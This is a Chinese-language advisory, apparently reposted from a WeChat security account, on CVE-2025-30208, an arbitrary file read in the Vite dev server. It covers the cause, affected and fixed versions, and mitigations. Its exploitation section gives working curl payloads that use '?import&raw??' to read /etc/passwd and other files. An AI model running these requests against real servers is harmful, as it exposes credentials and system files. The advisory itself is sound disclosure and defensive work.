一、漏洞概述
CVE-2025-30208 是 Vite 开发服务器(Dev Server)中曝出的超危漏洞(CVSS 评分9.8),允许攻击者通过构造特殊 URL 参数,绕过文件访问限制,直接读取服务器任意文件(如 /etc/passwd、/tmp/secret.txt 等),导致敏感信息泄露。
1. 漏洞原理
@fs 机制缺陷:Vite 开发模式下使用 @fs 机制访问项目文件,但未正确处理 URL 查询参数中的特殊字符(如 ?raw?? 或 ?import&raw??)。攻击者通过添加此类参数,可绕过 server.fs.allow 白名单限制。
正则表达式逻辑漏洞:Vite 在处理请求时,多次移除 URL 结尾分隔符(如 ?),但未在正则匹配中同步处理,导致路径校验失效。
2. 漏洞影响
敏感文件泄露:攻击者可读取服务器任意文件,包括源码、数据库凭据、系统配置文件等。
利用条件简单:仅需暴露 Vite Dev Server(如配置 --host 或 server.host 对外开放),无需认证即可发起攻击。
二、受影响范围
1. 影响版本
以下 Vite 版本均存在风险:
6.x:<=6.2.2、<=6.1.1、<=6.0.11
5.x:<=5.4.14
4.x:<=4.5.9
概括:6.2.3、6.1.2、6.0.12、5.4.15、4.5.10 之前的版本均受影响。
2. 修复版本
官方已发布安全版本:
6.2.3+、6.1.2+、6.0.12+
5.4.15+、4.5.10+
建议立即升级至最新版本。
3. 受影响场景
生产环境错误配置:直接对外开放 Vite Dev Server(非代理模式)。
内网暴露风险:未限制内网访问权限,攻击者可横向渗透。
4. 不受影响场景
仅本地开发使用(未暴露端口)。
生产环境通过 Nginx/Tomcat 代理静态资源,未启用 Dev Server。
三、漏洞成因
核心问题:URL 解析逻辑与正则表达式处理不同步。
示例请求:http://localhost:5173/@fs/etc/passwd?import&raw??
绕过原理:Vite 移除 ? 后未重新校验路径,误将 /etc/passwd 视为合法请求。
四、漏洞利用示例
正常请求(触发403)
curl
"http://localhost:5173/
@fs
/tmp/secret.txt"
# 返回:403 Restricted(路径超出白名单)
恶意请求(绕过限制)
curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
# 返回文件内容(如:"top secret content")[3,4](@ref)
PoC 验证:
攻击者可通过浏览器直接输入 URL,或使用自动化工具(如 Nuclei)批量扫描。
全球受影响资产超 4.2万+(ZoomEye 数据)。
五、修复与缓解方案
1. 彻底修复方案
升级至安全版本:
# 根据项目版本选择对应命令
npm install vite@6.2.3 --save-dev
yarn upgrade vite@5.4.15
2. 临时缓解措施
限制访问范围:
关闭 --host 参数,仅允许本地访问。
通过防火墙或 Nginx 限制 IP 白名单。
拦截恶意请求:在代理层拦截含 ?raw??、?import&raw?? 的 URL。
显式禁止敏感路径:
// vite.config.js
server: {
fs: {
deny: ["/etc/passwd", "/windows/win.ini"]
}
}
原文始发于微信公众号(云梦安全):Vite开发服务器任意文件读取(CVE-2025-30208)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论